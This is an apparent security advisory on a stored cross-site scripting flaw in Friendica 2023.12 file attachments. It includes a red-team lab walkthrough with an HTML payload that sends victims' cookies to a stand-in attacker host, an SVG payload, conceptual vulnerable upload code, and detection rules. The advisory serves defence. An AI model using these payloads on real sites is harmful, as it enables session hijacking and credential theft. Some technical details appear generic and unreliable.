CVE-2024-27731

Executive Summary

CVE-2024-27731 describes a Cross-Site Scripting (XSS) vulnerability in Friendica version 2023.12. The flaw resides in the file attachment parameter, where the application fails to enforce proper file type filtering. This allows a remote attacker to upload malicious files (e.g., HTML, SVG, or JavaScript-bearing content) that, when accessed or rendered by other users, execute arbitrary scripts in the context of the victim’s browser. The vulnerability can lead to session hijacking, credential theft, or defacement. No public exploit code or patch is currently available, and the CVSS score is listed as 0.0 (likely unassigned or placeholder). The EPSS score is 0.0%, indicating low exploitation activity in the wild as of the report date.

Supply Chain & Package Security

Friendica is a PHP-based open-source social networking platform. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. However, administrators should verify that no third-party plugins or themes introduce additional file upload vectors.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Vector: UNKNOWN
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (attacker can be unauthenticated if upload is public)
• User Interaction (UI): Required (victim must view the malicious file)
• Scope (S): Changed (XSS can affect other applications)
• Confidentiality (C): Low (potential data theft)
• Integrity (I): Low (script injection)
• Availability (A): None

Threat Level: Medium (due to lack of patch and public exploit, but XSS is a well-understood attack vector).

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (Persistent XSS) caused by insufficient input validation and sanitization in the file attachment functionality. In Friendica 2023.12, when a user attaches a file to a post or message, the application does not validate the file’s MIME type or extension against a whitelist of safe types (e.g., images, documents). An attacker can upload a file with a .html, .svg, or .js extension containing embedded JavaScript. When other users view the post or download the file, the browser executes the script.

Attack Flow:

1. Attacker crafts a malicious file (e.g., exploit.html) containing <script>alert(document.cookie)</script>.
2. Attacker uploads this file via the file attachment parameter in a new post or private message.
3. The file is stored on the server and served to other users.
4. When a victim views the post, the browser renders the HTML file, executing the script.
5. The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: Lack of file type filtering (MIME type validation, extension whitelist, content-type enforcement) in the upload handler.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common secure coding practices.

Vulnerable Code (Conceptual PHP):

// Vulnerable: No file type validation
$uploadedFile = $_FILES['attachment'];
$destination = 'uploads/' . $uploadedFile['name'];
move_uploaded_file($uploadedFile['tmp_name'], $destination);

Patched Code (Conceptual PHP):

// Patched: Validate file extension and MIME type
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx'];
$allowedMimeTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf', 'application/msword'];

$uploadedFile = $_FILES['attachment'];
$extension = strtolower(pathinfo($uploadedFile['name'], PATHINFO_EXTENSION));
$mimeType = mime_content_type($uploadedFile['tmp_name']);

if (!in_array($extension, $allowedExtensions) || !in_array($mimeType, $allowedMimeTypes)) {
    die("Invalid file type.");
}

$destination = 'uploads/' . uniqid() . '.' . $extension;
move_uploaded_file($uploadedFile['tmp_name'], $destination);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install Friendica 2023.12 on a local server (e.g., using Docker: docker run -d -p 8080:80 friendica:2023.12).
• Create a user account with posting privileges.

Exploitation Steps:

1. Create a malicious HTML file (xss.html):

   <html>
   <body>
   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   </body>
   </html>
   

2. Log in to Friendica and create a new post.
3. Attach xss.html to the post.
4. Publish the post.
5. Share the post URL with a victim (or wait for other users to view it).
6. When the victim views the post, the script executes and sends their cookies to the attacker’s server.

Alternative Payload (SVG):

<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
</svg>

Blue Team (Defensive)

Detection:

• Monitor file upload logs for unusual extensions (.html, .svg, .js, .php).
• Use WAF rules to block uploads of script-bearing file types.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding.
• Serve uploaded files with Content-Disposition: attachment to force download instead of rendering.
• Use a separate domain for user uploads to isolate from the main application.

Indicators of Compromise (IOCs)

• File Hashes (example):
  • e99a18c428cb38d5f260853678922e03 (MD5 of a sample XSS payload)
• Network Traffic:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
• Log Entries:
  • Uploads of files with extensions .html, .svg, .js in the Friendica upload directory.
• File Paths:
  • /var/www/html/uploads/ (default Friendica upload directory)

Detection Engineering

YARA Rule

rule CVE_2024_27731_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads in uploaded files for CVE-2024-27731"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-27731 - Friendica XSS File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of files with script-bearing extensions to Friendica
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url|contains: '/api/attachment/upload'
        http.body|contains:
            - '.html'
            - '.svg'
            - '.js'
    condition: selection
falsepositives:
    - Legitimate HTML files uploaded by trusted users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27731 - Friendica XSS File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/attachment/upload"; http_uri; content:".html"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file uploads in Friendica configuration until a patch is available.
2. Implement a reverse proxy (e.g., Nginx) to block uploads of dangerous file types:

   location /api/attachment/upload {
       if ($request_body ~* "\.(html|svg|js|php)$") {
           return 403;
       }
   }
   

3. Add CSP headers to mitigate XSS impact:

   add_header Content-Security-Policy "default-src 'self'; script-src 'self';";
   

Long-Term Fix:

• Apply input validation and output encoding in the file upload handler.
• Use a whitelist of allowed MIME types and extensions.
• Store uploaded files with random names and serve them with Content-Disposition: attachment.

Patch Status: No official patch from Friendica. Monitor the project’s GitHub repository for updates.

Valters IT
Securing Digital Frontiers